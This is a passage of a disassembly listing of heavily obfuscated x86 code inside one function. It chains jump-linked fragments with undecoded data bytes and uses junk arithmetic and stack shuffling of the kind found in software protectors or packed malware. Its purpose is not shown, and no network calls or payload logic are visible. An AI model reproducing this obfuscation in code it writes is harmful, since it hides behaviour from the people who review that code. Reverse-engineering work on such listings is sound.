; ---------------------------------------------------------------------------

loc_551580:				; CODE XREF: sub_542C3C+6A0Aj
		push	edx
		pop	eax
		pop	edx
		push	709Ch
		jmp	loc_54FCF6
; ---------------------------------------------------------------------------
		db 1, 0C3h, 0E9h
		dd 13B7h, 4C481h, 2050000h, 33000000h, 4312404h, 24043324h
		dd 148B665Ch, 17B46824h, 5EE90000h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5515B7:				; CODE XREF: sub_542C3C+1038Ej
		push	ecx
		jmp	loc_551096
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0BE560000h, 62CD73F2h, 0FF7CF8E9h, 4860BFFFh, 0C7814B76h
		dd 0D6CC0D88h, 0E4766B05h, 2DF8012Eh, 2EE4766Bh, 5F2434FFh
		dd 0E904C483h, 0FFFFB43Eh, 8904EC83h, 86BA2414h, 0C1223E42h
		dd 0EAC102EAh, 7EAC105h, 0F281DAF7h, 0FFFF7703h, 0E95AD501h
		dd 126Eh, 242C895Ch, 4EC81h, 0FE90000h,	31FFFF8Ah, 51CD31E9h
		dd 0C7B91B9h, 81D9F718h, 0B57D31E9h, 0D1F74948h, 0FF642EE9h
		dd 2434FFFFh, 0B326E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551646:				; CODE XREF: sub_542C3C+10196j
		pop	ebx
		push	edx
		jmp	loc_54E26C
; ---------------------------------------------------------------------------

loc_55164D:				; CODE XREF: sub_542C3C+E8EDj
		xor	edi, [esp+30h+var_30]
		jmp	loc_55006D
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 4
		dd 5C241C87h, 4EC81h, 34890000h, 0BD555024h, 70556C2Dh
		dd 0E5C1D5F7h, 0BCB85004h, 51F7E53h, 423B06CAh,	48FFC083h
		dd 281F7425h, 0B7532D54h, 0C509E67Ah, 968E9h, 0B0C68100h
		dd 0C157380Fh, 0BE904E6h, 0BEFFFFA6h, 4, 0E95EF501h, 0FFFFCADDh
		dd 4C78359h, 2474FF57h,	5C93E904h, 0C381FFFFh, 4, 5C241C87h
		dd 2474FF51h, 48F5904h,	24248B24h, 0FFE803E9h, 81D629FFh
		dd 6B0EB4EEh, 19E95A23h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5516E3:				; CODE XREF: sub_542C3C+8947j
		mov	ebx, [esp+3Ch+var_3C]
		add	esp, 4
		xchg	edx, [esp+38h+var_38]
		jmp	loc_54FFA5
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 9119E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5516FA:				; CODE XREF: sub_542C3C+907Dj
		mov	ecx, esp
		push	edi
		mov	edi, 7D142242h
		jmp	loc_54A072
; ---------------------------------------------------------------------------

loc_551707:				; CODE XREF: sub_542C3C+FD57j
		add	edx, 54B8758Fh
		pop	edi
		push	edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_54E949
; ---------------------------------------------------------------------------
		db 83h
		dd 348904ECh, 68F46824h, 0CDE90000h, 58FFFFE2h,	0F6F0B753h
		dd 80D7F6DFh, 0EFC051EFh, 3F78006h, 0E95BFD28h,	0FFFF9309h
		dd 15AD029h, 45AE05D8h,	7DE97C99h, 81FFFFB5h, 4C3h, 0FF5CE900h
		dd 17E9FFFFh, 47FFFF55h, 0D926EF81h, 7FE902DFh,	66FFFF7Fh
		dd 5124048Bh, 0FFA7EDE9h, 0E9E589FFh, 0FFFFC576h, 0E0CCC281h
		dd 0D029DA36h, 8124148Bh, 4C4h,	25A0500h, 0E8010BB5h, 25ABE56h
		dd 0F0290BB5h, 8124348Bh, 4C4h,	4EC8100h, 0E9000000h, 0FFFF9622h
		dd 82B1F2B7h, 505BF928h, 0E288CC88h, 0B4505958h, 42CC8073h
		dd 0FFE5D5E9h, 81D6F7FFh, 434942EEh, 0D6EE810Ah, 1F4DD91h
		dd 0E9835EF1h, 8282E904h, 574AFFFFh, 7AEEA9BFh,	0FFFA3195h
		dd 835F2434h, 0EE8104C4h, 63D2C91h, 9E9D629h, 53FFFF66h
		dd 0BD555B54h, 24B1160Eh, 79EEED81h, 0DDF75F6Dh, 5688E94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55181A:				; CODE XREF: sub_542C3C+49D5j
		pop	edi
		xor	edi, 8C051166h
		jmp	loc_547041
; ---------------------------------------------------------------------------

loc_551826:				; CODE XREF: sub_542C3C+E3A4j
		mov	[esp+2Ch+var_2C], edi
		mov	edi, 0DB25C3Eh
		push	edi
		not	[esp+30h+var_30]
		pop	edi
		shr	edi, 5
		push	0
		push	edi
		mov	edi, 59C96A91h
		sub	[esp+34h+var_30], edi
		pop	edi
		sub	[esp+30h+var_30], edi
		add	[esp+30h+var_30], 59C96A91h
		pop	edi
		sub	edi, 0F86D52E2h
		jmp	loc_54C868
; ---------------------------------------------------------------------------
		dd 2A3868h, 24148900h, 7CE991B2h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55186B:				; CODE XREF: sub_542C3C+102C0j
		push	[esp+2Ch+var_2C]
		pop	ecx
		jmp	loc_54C108
; ---------------------------------------------------------------------------
		dd 47E9C201h, 29FFFFE1h, 0F0C7E9F8h, 5755FFFFh,	563F12BFh
		dd 8E7C15Ah, 6DE7814Fh,	0C15BA245h, 0CF8108E7h,	1CE71CD6h
		dd 0FFE062E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5518A1:				; CODE XREF: sub_542C3C+DF5Ej
		add	bl, al
		pop	eax
		sub	al, 0CAh
		sub	al, bl
		add	al, 0CAh
		pop	ebx
		jmp	loc_54E388
; ---------------------------------------------------------------------------
		dd 4393D0F7h, 684BBD55h, 12E972E7h, 33FFFF64h, 34312434h
		dd 24343324h, 2404FE5Ch, 53A8E99Ch, 0F001FFFFh,	8124348Bh
		dd 4C4h, 24048700h, 0AB0F665Ch,	0E99C2404h, 0FFFF538Eh
		dd 16BAE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5518F2:				; CODE XREF: sub_542C3C+E7E6j
		xor	edi, 142821A3h
		xor	edi, 2B4B73BBh
		add	esi, edi
		pop	edi
		xor	esi, [esp+30h+var_30]
		xor	[esp+30h+var_30], esi
		xor	esi, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		or	edx, eax
		shl	edx, 1
		jmp	loc_54BD7C
; ---------------------------------------------------------------------------
		dw 0C884h
		dd 535CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55191E:				; CODE XREF: sub_542C3C+F7F3j
		push	[esp+30h+var_30]
		jmp	loc_54F22A
; ---------------------------------------------------------------------------
		dw 0C15Eh
		dd 534206E2h, 597915BBh, 5BDA0944h, 0D653F281h,	6E9DCBAh
		dd 0F7FFFF66h, 7B43E9D6h, 8B54FFFFh, 0C481241Ch, 4, 4C381h
		dd 94680000h, 89000001h, 4B9240Ch, 1000000h, 1C3359CBh
		dd 241C3124h, 0FFFA24E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551971:				; CODE XREF: sub_542C3C+4135j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+30h+var_30]
		pop	esp
		push	ebp
		mov	ebp, 4
		add	eax, 1324C04h
		add	eax, ebp
		sub	eax, 1324C04h
		jmp	loc_5473C1
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 4, 0FF763BE9h, 80E600FFh, 5866FDEEh,	8EC180h, 8EE980F1h
		dd 0C0E1805Ah, 0C006E9C0h, 44E907E9h, 30FFFFD5h, 240C8BCFh
		dd 0FF9463E9h, 34E956FFh
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5519CF:				; CODE XREF: sub_542C3C+BB47j
		mov	eax, ecx
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		shl	eax, 1
		sub	eax, 0FFFFFFFFh
		push	edx
		mov	edx, 36A53E8Eh
		sub	edx, 0C42DF58Ah
		sub	eax, edx
		pop	edx
		mov	ebx, eax
		pop	eax
		mov	esi, ebx
		mov	ebx, [esp+28h+var_28]
		add	esp, 4
		and	eax, esi
		jmp	loc_54E6E0
; ---------------------------------------------------------------------------

loc_5519FD:				; CODE XREF: sub_542C3C+F4D9j
		pop	edi
		add	ebx, 9C35540h
		sub	ebx, esi
		sub	ebx, 9C35540h
		sub	ebx, 4F225E60h
		mov	esi, [esp+20h+var_20]
		add	esp, 4
		sub	esp, 4
		mov	[esp+20h+var_20], ebx
		push	eax
		jmp	loc_54D353
; ---------------------------------------------------------------------------
		dw 0E831h
		dd 0A2E9815Dh, 55522D13h, 7D2488BDh, 7E5C142h, 0FFE436E9h
		dd 242489FFh, 0FF6A75E9h, 0C30058FFh, 6618C380h, 0DFAAE951h
		dd 665CFFFFh, 0B2241489h, 1BB55158h, 0C0FFC580h, 0ED8004E5h
		dd 0B551534Bh, 0FEDDF613h, 8EDC0C5h, 0FF90B4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551A79:				; CODE XREF: sub_542C3C+944Dj
		push	eax
		push	edi
		mov	edi, 0F22EBB23h
		mov	eax, edi
		mov	edi, [esp+38h+var_38]
		add	esp, 4
		sub	edx, eax
		pop	eax
		mov	ebx, edx
		mov	edx, [esp+30h+var_30]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+34h+var_34]
		jmp	loc_54D80B
; ---------------------------------------------------------------------------
		db 66h
		dd 81241C8Bh, 2C4h, 0DAB55100h,	0FFE4D1E9h, 0C0B60FFFh
		dd 6887048Dh, 758Bh, 0E9240489h, 0FFFF51AEh, 0E4395BAh
		dd 8D80E92Ch, 0F386FFFFh, 0FFA40FE9h, 0D7B151FFh, 8090C180h
		dd 0E9C001C1h, 9C18004h, 5325F180h, 88C88850h, 0FA8858C7h
		dd 2434FF5Bh, 4C48359h,	2EC81h,	89660000h, 17B1240Ch, 5966C800h
		dd 172CD028h, 0FFE741E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551B19:				; CODE XREF: sub_542C3C+B4EAj
		push	[esp+2Ch+var_2C]
		pop	eax
		push	ecx
		jmp	loc_549435
; ---------------------------------------------------------------------------

loc_551B23:				; CODE XREF: sub_542C3C+F78Cj
		mov	eax, 0
		add	eax, edx
		mov	ecx, [eax]
		jmp	loc_5528BD
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0E2895224h, 0FF5779E9h, 31FE31FFh, 81FE31F7h, 9C745BEEh
		dd 0C87AE9DDh, 22BDFFFFh, 0E9255234h, 0FFFFE60Ch
; ---------------------------------------------------------------------------

loc_551B58:				; CODE XREF: sub_542C3C+C742j
		mov	[esp+34h+var_34], ecx
		mov	eax, [esp+34h+var_34]
		jmp	loc_54B3A0
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0B652D830h, 50CEFE72h, 2FE96FB4h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551B73:				; CODE XREF: sub_542C3C+5F97j
		pop	eax
		pop	dword ptr [eax]
		jmp	loc_546C7A
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0A57BBA58h, 0EA81CDDBh, 26377BA1h, 1B85EA81h, 81E936B8h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551B93:				; CODE XREF: sub_542C3C+E46Aj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5485CB
; ---------------------------------------------------------------------------
		dd 55243489h, 0E82E9368h, 0BACAE922h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551BB2:				; CODE XREF: sub_542C3C+C022j
		mov	[esp+30h+var_30], ebx
		push	edx
		jmp	loc_54C082
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2CD32424h, 0B3E99C24h, 1FFFF50h, 84EB81FBh, 81756C3Eh
		dd 0F3E1AC3h, 0E9565F07h, 0FFFF729Eh, 4C681h, 0C6830000h
		dd 24348704h, 6824248Bh, 0CE7h,	50240C89h, 0A732E956h
		dd 3FBEFFFFh, 104BA2Ah,	0C3295EF0h, 0FFD718E9h,	506CE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551C0E:				; CODE XREF: sub_542C3C+B60Ej
		push	75F7h
		mov	[esp+38h+var_38], ebx
		push	7712h
		jmp	loc_548203
; ---------------------------------------------------------------------------
		dd 2C1BB850h, 35481952h, 6EE9433Eh, 8158C701h, 0C1CD2C7h
		dd 47D7F747h, 0FF602BE9h, 665F66FFh, 20E9FE21h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551C47:				; CODE XREF: sub_542C3C+556Dj
		and	ecx, 614C1FE7h
		jmp	loc_552BD9
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 34FF5424h, 89525D24h, 4C281E2h, 57000000h, 0AE3988BFh
		dd 0C46AE92Eh, 8159FFFFh, 0E2431EF5h, 5DEB2972h, 7BA685Ah
		dd 51E90000h, 66FFFFDEh, 57240C8Bh, 0FFD2B6E9h,	4FE8E9FFh
		dd 3C8BFFFFh, 4C48124h,	50000000h, 4B8h, 8BC30100h, 0C4832404h
		dd 241C3304h, 33241C31h, 248B241Ch, 2434FF24h, 65816859h
		dd 34890000h, 4EC8324h,	0FF6BEDE9h, 243C33FFh, 33243C31h
		dd 895C243Ch, 80BD242Ch, 5318B859h, 0FFAED2E9h,	38C581FFh
		dd 0E90BC925h, 0FFFFAB31h, 80C8B753h, 0B1517BF7h, 0F65166FBh
		dd 59662414h, 0FFDF58E9h, 0C8B66FFh, 4EC8324h, 54240489h
		dd 7742E958h, 0E801FFFFh, 2404875Dh, 6624248Bh,	6824048Bh
		dd 0AAEh, 0E9241C89h, 12A3h, 5966EB00h,	0A7B45066h, 4EB80h
		dd 4C380E3h, 0EB805866h, 80C30085h, 0EB8085C3h,	44EB80A7h
		dd 0E906C380h, 0FFFFFD65h, 377A1DB8h, 70E7BD69h, 13E9707Ah
		dd 81FFFFACh, 0E90AAAEAh, 0E9C22905h, 0FFFFB6E8h, 13E95550h
		dd 43FFFF92h, 7C42EB81h, 0D8213234h, 5B2434FFh,	0FFEA3CE9h
		dd 4AEB81FFh, 12A8E68h,	0B95157C3h, 0FEB2D09h, 24E9CF89h
		dd 5EFFFFECh, 2842E981h, 0F9014A3Eh, 2842C181h,	0F5E94A3Eh
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551DB3:				; CODE XREF: sub_542C3C+CC67j
		mov	ecx, 800h
		and	eax, ecx
		jmp	loc_54FC22
; ---------------------------------------------------------------------------
		db 0FEh
		dd 9C580CDh, 0E580CDFEh, 902DE93Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551DCE:				; CODE XREF: sub_542C3C+CA08j
		mov	eax, [esp+30h+var_30]
		jmp	loc_54E7B4
; ---------------------------------------------------------------------------

loc_551DD6:				; CODE XREF: sub_542C3C+C91Dj
		mov	edi, [esp+30h+var_30]
		add	esp, 4
		jmp	loc_549AF8
; ---------------------------------------------------------------------------
		dd 4C681h, 0E4E90000h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551DEF:				; CODE XREF: sub_542C3C+48F3j
		pop	ecx
		add	esp, 4
		push	ecx
		mov	ecx, 0FEC22CC2h
		sub	esi, 30B91E3Dh
		sub	esi, ecx
		add	esi, 30B91E3Dh
		pop	ecx
		sub	ebx, 634F7BF6h
		add	ebx, 4710721Dh
		sub	ebx, esi
		sub	ebx, 4710721Dh
		add	ebx, 634F7BF6h
		pop	esi
		jmp	loc_5498BC
; ---------------------------------------------------------------------------

loc_551E28:				; CODE XREF: sub_542C3C+96EBj
		sub	eax, 4
		xchg	eax, [esp+28h+var_28]
		pop	esp
		jmp	loc_54AF96
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 3BE95C24h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551E3F:				; CODE XREF: sub_542C3C+6199j
		push	0F7Ah
		mov	[esp+3Ch+var_3C], ebp
		jmp	loc_54B5AA
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 14F75600h, 0BF575E24h, 22CD563Eh, 4E5FFE01h
		dd 1C6CF681h, 24E90E07h, 28FFFFE8h, 0B3A1E9F8h,	815AFFFFh
		dd 0AB4132E9h, 0E9F9016Fh, 0FFFF9717h, 41ECC981h, 0F1812215h
		dd 0A4C2ECD4h, 303AEB81h, 0CB29036Eh, 303AC381h, 0F759036Eh
		dd 652E9D3h, 8CB10000h,	0FFFB12E9h, 4C4A68FFh, 7DE90000h
		dd 0BDFFFF6Ah, 7E3A0B3Bh, 0FF6567E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551EC1:				; CODE XREF: sub_542C3C+F5A2j
		add	ecx, ebx
		jmp	loc_550B24
; ---------------------------------------------------------------------------
		dd 4EA81h, 14330000h, 62F5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551ED6:				; CODE XREF: sub_542C3C+8767j
		push	[esp+2Ch+var_2C]
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		add	esp, 4
		jmp	loc_54C706
; ---------------------------------------------------------------------------
		dw 8BE9h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551EEF:				; CODE XREF: sub_542C3C+6CBBj
		xor	esi, ecx
		jmp	loc_54752C
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFF9BF3h, 4BF57h, 0FA010000h, 2414875Fh, 0FF71A4E9h
		dd 2EFC1FFh, 64BE5647h,	3100F6DEh, 9A055EF7h, 0E947C050h
		dd 0FFFFCCE1h
; ---------------------------------------------------------------------------

loc_551F24:				; CODE XREF: sub_542C3C+66B7j
		mov	[esp+3Ch+var_3C], edi
		jmp	loc_54747A
; ---------------------------------------------------------------------------
		dd 3158C531h, 242C8BE8h, 4C481h, 0EC830000h, 240C8904h
		dd 4749C4B9h, 713BE90Fh, 0CB29FFFFh, 0FFD957E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551F51:				; CODE XREF: sub_542C3C+7515j
		pop	ecx
		jmp	loc_54A382
; ---------------------------------------------------------------------------
		db 54h
		dd 81241C8Bh, 4C4h, 3BF5700h, 81567B45h, 545D18F7h, 81DFF700h
		dd 0C67359CFh, 81DFF71Bh, 2907FFEFh, 0E9FB0144h, 0FFFFC764h
; ---------------------------------------------------------------------------

loc_551F84:				; CODE XREF: sub_542C3C+6FB6j
		pop	eax
		add	esp, 4
		add	esp, 4
		jmp	loc_552363
; ---------------------------------------------------------------------------
		db 31h
		dd 34332434h, 0D8B6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551F9E:				; CODE XREF: sub_542C3C+5BDEj
		mov	ecx, [esp+0Ch+var_C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_552DF9
; ---------------------------------------------------------------------------
		db 50h
		dd 0B16304B8h, 33F10D42h, 9E2D34C1h, 29389D56h,	3C8B58C5h
		dd 0E0895024h, 4B951h, 0C8010000h, 2EBE959h, 0C6080000h
		dd 96EE8058h, 98E9492Ch, 0B2FFFF53h, 3AB753A1h,	0C7FECFFEh
		dd 3EE9CFFEh, 57000005h, 0FF74A5E9h, 0DEE958FFh
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551FFF:				; CODE XREF: sub_542C3C+703Ej
		mov	ebp, 553E53B5h
		xor	ebp, 3DC37BA4h
		push	edx
		mov	edx, ebp
		mov	edi, edx
		mov	edx, [esp+4Ch+var_4C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+50h+var_50]
		pop	esp
		mov	ebp, [esp+4Ch+var_4C]
		add	esp, 4
		mov	ecx, 68FD2812h
		sub	ecx, edi
		mov	edi, [esp+48h+var_48]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp+44h+var_44]
		jmp	loc_54F967
; ---------------------------------------------------------------------------
		dw 0AD66h
		dd 0FFF06AE9h, 0DFB850FFh, 0E929D816h, 0FFFF4F7Bh, 511D4FBDh
		dd 2CF58179h, 0E961C03Ah, 0FFFFB8C3h, 6E26E954h, 0B468FFFFh
		dd 5E167029h, 108C681h,	0D6F70EA4h, 0FFE010E9h,	405FFh
		dd 0E8830000h, 7550E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55208A:				; CODE XREF: sub_542C3C+5F2Bj
		sub	esi, edi
		jmp	loc_54C9B8
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0E5h
		dd 51FFFF5Bh, 8853B353h, 0C5FE5BDDh, 80BDCD80h,	0F58020EDh
		dd 59EE8835h, 0FFAD32E9h, 3EBC1FFh, 6786C381h, 0C3817B0Ch
		dd 8AD334F0h, 0E95BDA01h, 0FFFFF67Ch
; ---------------------------------------------------------------------------

loc_5520C8:				; CODE XREF: sub_542C3C+B467j
		add	esp, 4
		jmp	loc_5511B1
; ---------------------------------------------------------------------------
		db 0BFh
		dd 1B2F5A90h, 0FFDE84E9h, 243489FFh, 0FFF1A6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5520E5:				; CODE XREF: sub_542C3C+CC9Ej
		mov	ebx, ecx
		pop	ecx
		sub	edi, 3D76CE4h
		sub	edi, 82559E8h
		add	edi, ebx
		add	edi, 82559E8h
		jmp	loc_54D209
; ---------------------------------------------------------------------------

loc_552101:				; CODE XREF: sub_542C3C+DE8Ej
		add	edi, 258B14D5h
		sub	edi, 3B1C56AFh
		xor	edi, 7D2180CEh
		add	ebx, edi
		jmp	loc_5519FD
; ---------------------------------------------------------------------------
		dw 4A5Ah
		dd 8105E2C1h, 618364F2h, 5AD3010Ah, 8702C383h, 248B241Ch
		dd 0BE0F6624h, 0FB6866C8h, 0C896663h, 5778E924h, 5658FFFFh
		dd 0FFFAB1E9h, 0E944B5FFh, 0FFFFFBDCh, 0E5C14D4Dh, 0FAED8103h
		dd 5F0D2BDh, 7FCE0839h,	392DE801h, 5D7FCE08h, 401A68h
		dd 24148900h, 0FF7598E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552175:				; CODE XREF: sub_542C3C+54B6j
		neg	[esp+28h+var_28]
		pop	ebx
		jmp	loc_54BD44
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6682404h, 89000023h,	0FF542434h, 0A3E92434h
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552193:				; CODE XREF: sub_542C3C+6FA6j
		sub	[esp+34h+var_34], 5D7A692Dh
		pop	ecx
		push	esi
		mov	esi, 351D3D2Ch
		xor	esi, 6CAA2C4Bh
		or	esi, 34CB4538h
		inc	esi
		push	ebp
		jmp	loc_553082
; ---------------------------------------------------------------------------
		dd 68D831ADh, 1D9Eh, 0FFC575E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5521C1:				; CODE XREF: sub_542C3C+7D8Dj
		push	esi
		push	[esp+2Ch+var_28]
		pop	esi
		pop	[esp+2Ch+var_2C]
		pop	esp
		mov	[esp+24h+var_24], ebx
		push	0DC2h
		mov	[esp+28h+var_28], esi
		mov	esi, 615013D1h
		mov	ebx, esi
		pop	esi
		jmp	loc_551EC1
; ---------------------------------------------------------------------------
		db 2Ch
		dd 45B652B9h, 0EEC0CEFEh, 0C0DEF608h, 0C68007EEh, 0E9F028D3h
		dd 0FFFFCB6Fh
; ---------------------------------------------------------------------------

loc_5521FC:				; CODE XREF: sub_542C3C+1032Fj
		mov	ch, ah
		mov	eax, [esp+24h+var_24]
		add	esp, 4
		add	ch, dl
		jmp	loc_54C634
; ---------------------------------------------------------------------------
		db 1
		dd 83532404h, 2C8904ECh, 73EDBD24h, 0F4BB743Ah,	315ED80Dh
		dd 242C8BEBh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+24h+var_24]
		pop	esp
		sub	[esp+20h+var_1C], ebx
		mov	ebx, [esp+20h+var_20]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_550B72
; ---------------------------------------------------------------------------
		dd 0FF4A29E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552251:				; CODE XREF: sub_542C3C+88D0j
		shl	edx, 7
		xor	edx, 38122554h
		push	esi
		mov	esi, 39FB7E5Ch
		dec	esi
		shr	esi, 8
		sub	esi, 69E9734Ah
		add	esi, 4D3C7816h
		add	esi, 8B0C78E4h
		jmp	loc_548D1D
; ---------------------------------------------------------------------------

loc_55227B:				; CODE XREF: sub_542C3C+61A7j
		sub	ebp, 0EC66A071h
		add	esi, ebp
		push	[esp+34h+var_34]
		pop	ebp
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp+30h+var_30]
		pop	esp
		jmp	loc_546C7A
; ---------------------------------------------------------------------------

loc_552296:				; CODE XREF: sub_542C3C+D0D0j
		xor	esi, 0DE54B9EEh
		jmp	loc_550CD8
; ---------------------------------------------------------------------------

loc_5522A1:				; CODE XREF: sub_542C3C+7C76j
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+50h+var_50], esi
		push	ebp
		push	209005ACh
		jmp	loc_54BE08
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 0FFD68EE9h, 4C083FFh, 5C240487h, 0E9242C33h, 0FFFF8B7Eh
		dd 0F0E95055h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5522D7:				; CODE XREF: sub_542C3C+B2D3j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+34h+var_34]
		pop	esp
		mov	[esp+30h+var_30], edi
		jmp	loc_5502D8
; ---------------------------------------------------------------------------

loc_5522EC:				; CODE XREF: sub_542C3C+D56Cj
		sub	esi, edx
		jmp	loc_54705A
; ---------------------------------------------------------------------------
		db 66h
		dd 7FE99C50h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5522FB:				; CODE XREF: sub_542C3C+440Bj
		sub	esi, edi
		add	esi, 0E262028h
		mov	edi, [esp+34h+var_34]
		add	esp, 4
		xchg	esi, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		mov	[esp+30h+var_30], ebp
		mov	ebp, 0FFFFFFFFh
		sub	[edi+24h], ebp
		jmp	loc_54B1F1
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 24248B24h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF4942h
		dd 0BE236DBBh, 5284E918h, 0E389FFFFh, 608468h, 243C8900h
		dd 549DE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552352:				; CODE XREF: sub_542C3C+59A3j
		sub	ebx, 224B596Fh
		add	ebx, 1F1518F7h
		jmp	loc_550739
; ---------------------------------------------------------------------------

loc_552363:				; CODE XREF: sub_542C3C+F352j
		sub	esp, 4
		mov	[esp+30h+var_30], ebx
		push	3E35h
		mov	[esp+34h+var_34], edx
		jmp	loc_54D09C
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 68243489h, 7A1Bh,	57242489h, 4BFh, 24448100h, 22286A04h
		dd 247C0152h, 0CC17E904h, 0C281FFFFh, 25794805h, 0EA81FA01h
		dd 25794805h, 0E95A0288h, 0FFFFE615h
; ---------------------------------------------------------------------------

loc_5523B4:				; CODE XREF: sub_542C3C+B8BDj
		add	edx, 0BE3CC7ECh
		sub	ecx, edx
		pop	edx
		mov	edx, ecx
		pop	ecx
		add	edx, edi
		sub	esp, 4
		mov	[esp+30h+var_30], eax
		jmp	loc_551B23
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 37h
		dd 58FFFF55h, 348BF001h, 4C48324h, 2474FF50h, 48F5804h
		dd 0CA2CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5523EA:				; CODE XREF: sub_542C3C+D5E7j
		add	ebp, eax
		pop	eax
		and	eax, ebp
		pop	ebp
		jmp	loc_549E3F
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 0E9h
		dd 0FFFF727Fh
; ---------------------------------------------------------------------------

loc_5523FC:				; CODE XREF: sub_542C3C+AF51j
		inc	bl
		dec	bl
		xor	bl, 78h
		jmp	loc_54ADB7
; ---------------------------------------------------------------------------
		dd 0E95B5F58h, 0FFFFB6C5h
; ---------------------------------------------------------------------------

loc_552410:				; CODE XREF: sub_542C3C+5B70j
		xor	edi, 1975D0BCh
		mov	ecx, edi
		pop	edi
		push	ebx
		jmp	loc_550933
; ---------------------------------------------------------------------------

loc_55241F:				; CODE XREF: sub_542C3C+AAFAj
		mov	edi, 695E4A79h
		push	esi
		mov	esi, 695E4A7Dh
		mov	ebx, esi
		pop	esi
		sub	ebx, edi
		jmp	loc_55191E
; ---------------------------------------------------------------------------
		dd 2859C888h, 0C32858C3h, 0FF5EA6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552441:				; CODE XREF: sub_542C3C+BCC2j
		push	ebx
		mov	ebx, 4
		jmp	loc_54DF14
; ---------------------------------------------------------------------------
		dd 6D28B850h, 0C38134ABh, 53707A70h, 0EB81C301h, 53707A70h
		dd 0FFEDA5E9h, 17E955FFh
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55246B:				; CODE XREF: sub_542C3C+B933j
		mov	cl, 15h
		add	bl, cl
		pop	ecx
		sub	bl, dl
		sub	bl, 15h
		pop	dx
		jmp	loc_54D74D
; ---------------------------------------------------------------------------
		dd 0A3474405h, 0A2E95B36h, 59FFFF8Bh, 6A04D000h, 0FF47F9E9h
		dd 4875BFFh, 0DFE95C24h, 83FFFF47h, 0FF5504C4h,	5D042474h
